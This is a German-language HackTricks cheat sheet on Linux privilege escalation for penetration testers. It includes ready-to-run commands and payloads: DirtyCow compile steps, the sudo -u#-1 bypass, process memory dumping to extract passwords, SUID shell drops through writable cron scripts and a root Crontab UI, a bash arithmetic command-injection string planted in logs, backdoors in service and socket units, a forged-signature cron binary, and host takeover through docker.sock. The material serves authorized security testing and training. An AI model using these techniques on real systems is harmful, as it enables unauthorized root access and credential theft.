Linux Privilege Escalation

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

System Information

OS-Info

Beginnen wir damit, Informationen über das laufende OS zu sammeln

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

Wenn du Schreibrechte in einem Ordner innerhalb der PATH-Variable hast, kannst du möglicherweise hijack some libraries or binaries:

echo $PATH

Umgebungsinformationen

Interessante Informationen, Passwörter oder API-Schlüssel in den Umgebungsvariablen?

(env || set) 2>/dev/null

Kernel exploits

Überprüfe die Kernel-Version und ob es einen exploit gibt, der für privilege escalation genutzt werden kann.

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Du findest eine gute Liste verwundbarer Kernel und einige bereits compiled exploits hier: https://github.com/lucyoa/kernel-exploits und exploitdb sploits.
Weitere Seiten, auf denen du einige compiled exploits finden kannst: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Um alle verwundbaren Kernel-Versionen von dieser Webseite zu extrahieren, kannst du Folgendes tun:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Tools, die bei der Suche nach kernel exploits helfen könnten, sind:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (ausführen IN victim, prüft nur exploits für kernel 2.x)

Suche immer die kernel version in Google; vielleicht ist deine kernel version in einem kernel exploit erwähnt, dann kannst du sicher sein, dass dieser exploit gültig ist.

Weitere kernel exploitation techniques:

Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo-Version

Basierend auf den anfälligen Sudo-Versionen, die in den folgenden Quellen erscheinen:

searchsploit sudo

Sie können mit diesem grep prüfen, ob die sudo-Version verwundbar ist.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

Sudo < 1.9.17p1

Sudo-Versionen vor 1.9.17p1 (1.9.14 - 1.9.17 < 1.9.17p1) erlauben unprivilegierten lokalen Benutzern, mittels der sudo --chroot-Option ihre Rechte auf root zu eskalieren, wenn die Datei /etc/nsswitch.conf aus einem vom Benutzer kontrollierten Verzeichnis verwendet wird.

Hier ist ein PoC, um diese vulnerability auszunutzen. Bevor Sie den Exploit ausführen, stellen Sie sicher, dass Ihre sudo-Version verwundbar ist und die chroot-Funktion unterstützt.

Für weitere Informationen siehe das ursprüngliche vulnerability advisory

sudo < v1.8.28

Von @sickrov

sudo -u#-1 /bin/bash

Dmesg Signaturüberprüfung fehlgeschlagen

Siehe smasher2 box of HTB für ein Beispiel, wie diese vuln ausgenutzt werden könnte.

dmesg 2>/dev/null | grep "signature"

Mehr System enumeration

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Mögliche Verteidigungsmaßnahmen auflisten

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

Wenn du dich in einem docker container befindest, kannst du versuchen, daraus auszubrechen:

Docker Security

Laufwerke

Überprüfe what is mounted and unmounted, wo und warum. Wenn etwas unmounted ist, könntest du versuchen, es zu mounten und nach privaten Informationen zu suchen

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Nützliche Software

Nützliche binaries auflisten

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Überprüfe außerdem, ob irgendein compiler installiert ist. Das ist nützlich, wenn du einen kernel exploit verwenden musst, da empfohlen wird, ihn auf der Maschine zu kompilieren, auf der du ihn verwenden willst (oder auf einer ähnlichen).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Installierte verwundbare Software

Überprüfe die Version der installierten Pakete und Dienste. Vielleicht gibt es eine alte Nagios-Version (zum Beispiel), die zur Eskalation von Rechten ausgenutzt werden könnte…
Es wird empfohlen, die Version der verdächtigeren installierten Software manuell zu überprüfen.

dpkg -l #Debian
rpm -qa #Centos

Wenn Sie SSH-Zugriff auf die Maschine haben, können Sie auch openVAS verwenden, um nach veralteter und verwundbarer Software zu suchen, die auf der Maschine installiert ist.

[!NOTE] > Beachte, dass diese Befehle viele Informationen anzeigen werden, die größtenteils nutzlos sind; daher empfiehlt es sich, Anwendungen wie OpenVAS oder ähnliche zu verwenden, die prüfen, ob eine installierte Softwareversion gegenüber bekannten exploits verwundbar ist.

Prozesse

Schauen Sie sich an, welche Prozesse ausgeführt werden, und prüfen Sie, ob ein Prozess mehr Rechte hat, als er haben sollte (vielleicht läuft ein tomcat als root?)

ps aux
ps -ef
top -n 1

Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detect those by checking the --inspect parameter inside the command line of the process.
Also check your privileges over the processes binaries, maybe you can overwrite someone.

Process monitoring

Du kannst Tools wie pspy verwenden, um Prozesse zu überwachen. Das kann sehr nützlich sein, um verwundbare Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn eine Reihe von Voraussetzungen erfüllt ist.

Process memory

Einige Dienste eines Servers speichern credentials in clear text inside the memory.
Normalerweise benötigst du root privileges, um den Speicher von Prozessen zu lesen, die anderen Benutzern gehören; daher ist das meist nützlicher, wenn du bereits root bist und weitere credentials entdecken möchtest.
Denke jedoch daran, dass as a regular user you can read the memory of the processes you own.

Warning

Beachte, dass heutzutage die meisten Maschinen ptrace standardmäßig nicht erlauben, was bedeutet, dass du andere Prozesse, die deinem unprivilegierten Benutzer gehören, nicht dumpen kannst.

Die Datei /proc/sys/kernel/yama/ptrace_scope steuert die Zugänglichkeit von ptrace:

  • kernel.yama.ptrace_scope = 0: alle Prozesse können debugged werden, solange sie die gleiche uid haben. Das ist die klassische Funktionsweise von ptrace.
  • kernel.yama.ptrace_scope = 1: nur ein parent process kann debugged werden.
  • kernel.yama.ptrace_scope = 2: nur Admin kann ptrace nutzen, da dafür die CAP_SYS_PTRACE capability erforderlich ist.
  • kernel.yama.ptrace_scope = 3: keine Prozesse dürfen mit ptrace nachverfolgt werden. Nach dem Setzen ist ein Reboot nötig, um ptracing wieder zu ermöglichen.

GDB

If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB Skript

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

Für eine gegebene Prozess-ID, maps zeigen, wie Speicher in diesem Prozess im virtuellen Adressraum abgebildet ist; es zeigt auch die Zugriffsrechte jeder abgebildeten Region. Die Pseudo-Datei mem legt den Speicher des Prozesses selbst offen. Aus der maps-Datei wissen wir, welche Speicherbereiche lesbar sind und deren Offsets. Wir verwenden diese Informationen, um in die mem-Datei zu seeken und alle lesbaren Bereiche zu dumpen.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem bietet Zugriff auf den physikalischen Speicher des Systems, nicht auf den virtuellen Speicher. Auf den virtuellen Adressraum des Kernels kann über /dev/kmem zugegriffen werden.
Typischerweise ist /dev/mem nur für root und die kmem-Gruppe lesbar.

strings /dev/mem -n10 | grep -i PASS

ProcDump for linux

ProcDump ist eine für linux neu gedachte Version des klassischen ProcDump-Tools aus der Sysinternals-Tool-Suite für Windows. Erhältlich unter https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Werkzeuge

Um den Speicher eines Prozesses zu dumpen, können Sie folgende Tools verwenden:

Anmeldeinformationen aus dem Prozessspeicher

Manuelles Beispiel

Wenn Sie feststellen, dass der Authenticator-Prozess läuft:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Du kannst den process dumpen (siehe frühere Abschnitte für verschiedene Möglichkeiten, den memory eines process zu dumpen) und nach credentials im memory suchen:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Das Tool https://github.com/huntergregal/mimipenguin wird Klartext-Anmeldeinformationen aus dem Speicher und aus einigen bekannten Dateien stehlen. Es benötigt Root-Rechte, um richtig zu funktionieren.

FunktionProzessname
GDM-Passwort (Kali Desktop, Debian Desktop)gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)gnome-keyring-daemon
LightDM (Ubuntu Desktop)lightdm
VSFTPd (aktive FTP-Verbindungen)vsftpd
Apache2 (aktive HTTP-Basic-Auth-Sitzungen)apache2
OpenSSH (aktive SSH-Sitzungen - Sudo-Nutzung)sshd:

Such-Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Geplante/Cron-Jobs

Crontab UI (alseambusher) läuft als root – webbasierter Scheduler privesc

Wenn ein Web-Panel „Crontab UI“ (alseambusher/crontab-ui) als root läuft und nur an loopback gebunden ist, kannst du es trotzdem über lokales SSH-Port-Forwarding erreichen und einen privilegierten Job erstellen, um zu eskalieren.

Typische Abfolge

  • Loopback-only-Port entdecken (z. B. 127.0.0.1:8000) und den Basic-Auth-Realm mit ss -ntlp / curl -v localhost:8000
  • Anmeldeinformationen in Betriebsartefakten finden:
    • Backups/Skripte mit zip -P <password>
    • systemd-Unit, die Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..." setzt
  • Tunnel und Login:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
  • Erstelle einen hoch-privilegierten Job und führe ihn sofort aus (legt eine SUID shell ab):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
  • Verwenden Sie es:
/tmp/rootshell -p   # root shell

Härtung

  • Führe Crontab UI nicht als root aus; begrenze es auf einen dedizierten Benutzer und minimale Berechtigungen
  • An localhost binden und zusätzlich den Zugriff via firewall/VPN einschränken; Passwörter nicht wiederverwenden
  • Vermeide das Einbetten von secrets in unit files; verwende secret stores oder eine nur für root zugängliche EnvironmentFile
  • Aktiviere Audit/Logging für on-demand-Jobausführungen

Prüfe, ob irgendein geplanter Job verwundbar ist. Vielleicht kannst du ausnutzen, dass ein Script von root ausgeführt wird (wildcard vuln? Kannst du Dateien ändern, die root verwendet? Symlinks benutzen? Bestimmte Dateien in dem Verzeichnis anlegen, das root verwendet?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron-Pfad

Zum Beispiel findest du innerhalb von /etc/crontab den PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Achte darauf, dass der Benutzer “user” Schreibrechte auf /home/user hat)

Wenn innerhalb dieser crontab der root-Benutzer versucht, einen Befehl oder ein Script auszuführen, ohne den Pfad zu setzen. Zum Beispiel: * * * * root overwrite.sh
Dann kannst du eine root shell erhalten, indem du Folgendes verwendest:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron, das ein Skript mit einem Wildcard ausführt (Wildcard Injection)

Wenn ein von root ausgeführtes Skript ein “*” innerhalb eines Befehls enthält, kannst du das ausnutzen, um unerwartete Dinge zu erreichen (wie privesc). Beispiel:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Wenn das wildcard einem Pfad wie /some/path/* vorangestellt ist, ist es nicht verwundbar (sogar ./* nicht).

Lies die folgende Seite für weitere wildcard exploitation tricks:

Wildcards Spare tricks

Bash arithmetic expansion injection in cron log parsers

Bash führt parameter expansion und command substitution vor der arithmetic evaluation in ((…)), $((…)) und let aus. Wenn ein root cron/parser untrusted Log-Felder liest und sie in einen arithmetic-Kontext einspeist, kann ein Angreifer eine command substitution $(…) injizieren, die beim Ausführen des cron als root läuft.

  • Warum das funktioniert: In Bash passieren die Expansions in dieser Reihenfolge: parameter/variable expansion, command substitution, arithmetic expansion, dann word splitting und pathname expansion. Daher wird ein Wert wie $(/bin/bash -c 'id > /tmp/pwn')0 zuerst substituiert (der Befehl läuft), dann wird die verbleibende numerische 0 für die Arithmetic verwendet, sodass das Script ohne Fehler fortfährt.

  • Typisches verwundbares Muster:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log
  • Exploitation: Sorge dafür, dass attacker-controlled Text ins geparste Log geschrieben wird, so dass das numerisch-aussehende Feld eine command substitution enthält und mit einer Ziffer endet. Stelle sicher, dass dein Befehl nichts auf stdout schreibt (oder leite es um), damit die Arithmetic gültig bleibt.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

If you can modify a cron script executed by root, you can get a shell very easily:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Wenn das von root ausgeführte Skript ein Verzeichnis, auf das Sie vollen Zugriff haben, verwendet, kann es nützlich sein, dieses Verzeichnis zu löschen und einen symlink-Ordner zu einem anderen zu erstellen, der ein von Ihnen kontrolliertes Skript bereitstellt.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Custom-signed cron binaries mit beschreibbaren Payloads

Blue teams signen manchmal cron-driven binaries, indem sie eine benutzerdefinierte ELF-Section dumpen und mit grep nach einem Vendor-String suchen, bevor sie diese als root ausführen. Wenn dieses Binary group-writable ist (z. B. /opt/AV/periodic-checks/monitor owned by root:devs 770) und du das signing material leakst, kannst du die Section fälschen und die cron-Task hijacken:

  1. Benutze pspy, um den Verifizierungsablauf zu erfassen. In Era führte root objcopy --dump-section .text_sig=text_sig_section.bin monitor gefolgt von grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin aus und führte dann die Datei aus.
  2. Rekonstruiere das erwartete Zertifikat mit dem geleakten Key/Config (aus signing.zip):
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
  1. Baue einen bösartigen Ersatz (z. B. drop a SUID bash, add your SSH key) und bette das Zertifikat in .text_sig ein, sodass das grep erfolgreich ist:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
  1. Überschreibe das geplante Binary und erhalte dabei die Execute-Bits:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
  1. Warte auf den nächsten cron-Lauf; sobald die naive Signaturprüfung erfolgreich ist, läuft dein Payload als root.

Häufige cron-Jobs

Du kannst die Prozesse überwachen, um nach Prozessen zu suchen, die alle 1, 2 oder 5 Minuten ausgeführt werden. Vielleicht kannst du das ausnutzen und Privilegien eskalieren.

For example, to jede 0.1s für 1 Minute überwachen, nach am wenigsten ausgeführten Befehlen sortieren und die Befehle löschen, die am häufigsten ausgeführt wurden, kannst du folgendes tun:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Sie können auch pspy (dies wird jeden gestarteten Prozess überwachen und auflisten).

Unsichtbare cronjobs

Es ist möglich, einen cronjob zu erstellen, indem man einen carriage return nach einem Kommentar setzt (ohne newline-Zeichen), und der cronjob funktioniert. Beispiel (achte auf das carriage return-Zeichen):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Dienste

Schreibbare .service Dateien

Prüfe, ob du irgendeine .service-Datei schreiben kannst; wenn ja, kannst du sie ändern, sodass sie deinen backdoor ausführt, wenn der Service gestartet, neu gestartet oder gestoppt wird (vielleicht musst du warten, bis die Maschine neu gestartet wird).
Zum Beispiel erstelle deinen backdoor innerhalb der .service-Datei mit ExecStart=/tmp/script.sh

Schreibbare Service-Binaries

Beachte, dass wenn du Schreibrechte für Binaries, die von Services ausgeführt werden, hast, du diese ändern kannst, um backdoors zu platzieren, sodass beim erneuten Ausführen der Services die backdoors ausgeführt werden.

systemd PATH - Relative Pfade

Du kannst den PATH verwendet von systemd mit:

systemctl show-environment

Wenn Sie feststellen, dass Sie in einem der Ordner des Pfads write können, könnten Sie möglicherweise escalate privileges. Sie müssen nach relative paths being used on service configurations-Dateien suchen, wie zum Beispiel:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Dann erstelle eine executable mit dem same name as the relative path binary inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (Start, Stop, Reload), your backdoor will be executed (nicht-privilegierte Benutzer können Dienste normalerweise nicht starten/stoppen, prüfe aber, ob du sudo -l verwenden kannst).

Mehr über Dienste erfährst du mit man systemd.service.

Timers

Timers sind systemd Unit-Dateien, deren Name auf **.timer** endet und die **.service** Dateien oder Ereignisse steuern. Timers können als Alternative zu cron verwendet werden, da sie integrierte Unterstützung für kalenderbasierte Zeitereignisse und monotone Zeitereignisse bieten und asynchron ausgeführt werden können.

Du kannst alle Timer mit folgendem Befehl auflisten:

systemctl list-timers --all

Beschreibbare Timer

Wenn du einen Timer ändern kannst, kannst du ihn dazu bringen, existierende Einheiten von systemd.unit auszuführen (wie eine .service oder eine .target)

Unit=backdoor.service

In der Dokumentation kannst du lesen, was die Unit ist:

Die Unit, die aktiviert werden soll, wenn dieser Timer abläuft. Das Argument ist ein Unit-Name, dessen Suffix nicht “.timer” ist. Wird kein Wert angegeben, so verwendet dieser Wert standardmäßig einen service, der denselben Namen wie die Timer-Unit hat, abgesehen vom Suffix. (Siehe oben.) Es wird empfohlen, dass der zu aktivierende Unit-Name und der Unit-Name der Timer-Unit identisch benannt sind, abgesehen vom Suffix.

Daher müsstest du, um diese Berechtigung auszunutzen, Folgendes tun:

  • Finde eine systemd Unit (wie eine .service), die ein schreibbares Binary ausführt
  • Finde eine systemd Unit, die einen relativen Pfad ausführt und bei der du Schreibrechte auf den systemd PATH hast (um dieses ausführbare Programm zu imitieren)

Erfahre mehr über Timer mit man systemd.timer.

Timer aktivieren

Um einen Timer zu aktivieren, benötigst du root-Rechte und musst ausführen:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Beachte, dass der timer durch das Erstellen eines Symlinks zu ihm unter /etc/systemd/system/<WantedBy_section>.wants/<name>.timer aktiviert wird.

Sockets

Unix Domain Sockets (UDS) ermöglichen Prozesskommunikation auf derselben oder verschiedenen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Descriptor-Dateien für die Kommunikation zwischen Rechnern und werden über .socket-Dateien eingerichtet.

Sockets können mithilfe von .socket-Dateien konfiguriert werden.

Erfahre mehr über sockets mit man systemd.socket. In dieser Datei können mehrere interessante Parameter konfiguriert werden:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Diese Optionen sind unterschiedlich; zusammenfassend geben sie an, wo zugehört werden soll (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6-Adresse und/oder Portnummer, etc.).
  • Accept: Nimmt ein boolesches Argument. Wenn true, wird für jede eingehende Verbindung eine Service-Instanz gestartet und nur die Verbindungs-Socket an diese übergeben. Wenn false, werden alle Listening-Sockets selbst an die gestartete Service-Unit übergeben, und es wird nur eine Service-Unit für alle Verbindungen gestartet. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Service-Unit bedingungslos allen eingehenden Verkehr verarbeitet. Standardmäßig false. Aus Performance-Gründen wird empfohlen, neue Daemons so zu schreiben, dass sie zu Accept=no passen.
  • ExecStartPre, ExecStartPost: Nimmt eine oder mehrere Befehlszeilen, die jeweils ausgeführt werden, bevor bzw. nachdem die Listening-Sockets/FIFOs erstellt und gebunden werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess.
  • ExecStopPre, ExecStopPost: Zusätzliche Befehle, die jeweils ausgeführt werden, bevor bzw. nachdem die Listening-Sockets/FIFOs geschlossen und entfernt werden.
  • Service: Gibt den Namen der Service-Unit an, die bei eingehendem Verkehr aktiviert werden soll. Diese Einstellung ist nur für Sockets mit Accept=no erlaubt. Standardmäßig ist dies die Service, die denselben Namen wie die Socket trägt (wobei das Suffix ersetzt wird). In den meisten Fällen sollte es nicht notwendig sein, diese Option zu verwenden.

Schreibbare .socket-Dateien

Wenn du eine schreibbare .socket-Datei findest, kannst du am Anfang des [Socket]-Abschnitts etwas wie ExecStartPre=/home/kali/sys/backdoor hinzufügen, und die Backdoor wird ausgeführt, bevor die Socket erstellt wird. Daher wirst du wahrscheinlich warten müssen, bis die Maschine neu gestartet wird.
Note that the system must be using that socket file configuration or the backdoor won’t be executed

Schreibbare Sockets

Wenn du eine schreibbare Socket identifizierst (hier sprechen wir jetzt von Unix-Sockets und nicht von den Konfigurations- .socket-Dateien), dann kannst du mit dieser Socket kommunizieren und möglicherweise eine Schwachstelle ausnutzen.

Unix Sockets auflisten

netstat -a -p --unix

Rohverbindung

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation Beispiel:

Socket Command Injection

HTTP sockets

Beachte, dass es möglicherweise einige sockets listening for HTTP requests (ich rede nicht von .socket files, sondern von Dateien, die als unix sockets fungieren). Du kannst das mit folgendem Befehl prüfen:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

If the socket responds with an HTTP request, then you can communicate with it and maybe exploit some vulnerability.

Schreibbarer Docker-Socket

Der Docker-Socket, häufig zu finden unter /var/run/docker.sock, ist eine kritische Datei, die gesichert werden sollte. Standardmäßig ist er für den root-Benutzer und Mitglieder der docker-Gruppe beschreibbar. Schreibzugriff auf diesen Socket kann zu privilege escalation führen. Hier eine Aufschlüsselung, wie das durchgeführt werden kann, und alternative Methoden, falls die Docker CLI nicht verfügbar ist.

Privilege Escalation with Docker CLI

If you have write access to the Docker socket, you can escalate privileges using the following commands:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Diese Befehle erlauben es Ihnen, einen Container mit root-Zugriff auf das Dateisystem des Hosts auszuführen.

Docker API direkt verwenden

In Fällen, in denen die Docker CLI nicht verfügbar ist, kann der Docker socket weiterhin über die Docker API und curl-Befehle manipuliert werden.

  1. List Docker Images: Retrieve the list of available images.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Create a Container: Send a request to create a container that mounts the host system’s root directory.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Start the newly created container:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. An den Container anhängen: Verwenden Sie socat, um eine Verbindung zum Container herzustellen, die die Ausführung von Befehlen darin ermöglicht.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Nach dem Aufbau der socat-Verbindung können Sie Befehle direkt im Container mit root-Rechten auf das Dateisystem des Hosts ausführen.

Andere

Beachten Sie, dass wenn Sie Schreibrechte über den docker socket haben, weil Sie in der Gruppe docker sind, Sie more ways to escalate privileges. If the docker API is listening in a port you can also be able to compromise it.

Prüfen Sie weitere Möglichkeiten, aus docker auszubrechen oder es zu missbrauchen, um Privilegien zu eskalieren in:

Docker Security

Containerd (ctr) privilege escalation

If you find that you can use the ctr command read the following page as you may be able to abuse it to escalate privileges:

Containerd (ctr) Privilege Escalation

RunC privilege escalation

If you find that you can use the runc command read the following page as you may be able to abuse it to escalate privileges:

RunC Privilege Escalation

D-Bus

D-Bus ist ein ausgefeiltes inter-Process Communication (IPC)-System, das Anwendungen ermöglicht, effizient miteinander zu interagieren und Daten zu teilen. Es wurde mit Blick auf moderne Linux-Systeme entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungs-Kommunikation.

Das System ist vielseitig und unterstützt grundlegende IPC, die den Datenaustausch zwischen Prozessen verbessert, vergleichbar mit enhanced UNIX domain sockets. Außerdem hilft es beim Broadcasting von Events oder Signalen und fördert so die nahtlose Integration zwischen Systemkomponenten. Beispielsweise kann ein Signal eines Bluetooth-Daemons über einen eingehenden Anruf einen Musikplayer stummschalten und so die Benutzererfahrung verbessern. Zusätzlich unterstützt D-Bus ein Remote-Object-System, das Service-Anfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse strafft, die traditionell komplex waren.

D-Bus arbeitet nach einem allow/deny model und verwaltet Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung übereinstimmender Policy-Regeln. Diese Policies spezifizieren die Interaktion mit dem Bus und können potenziell eine privilege escalation durch die Ausnutzung dieser Berechtigungen ermöglichen.

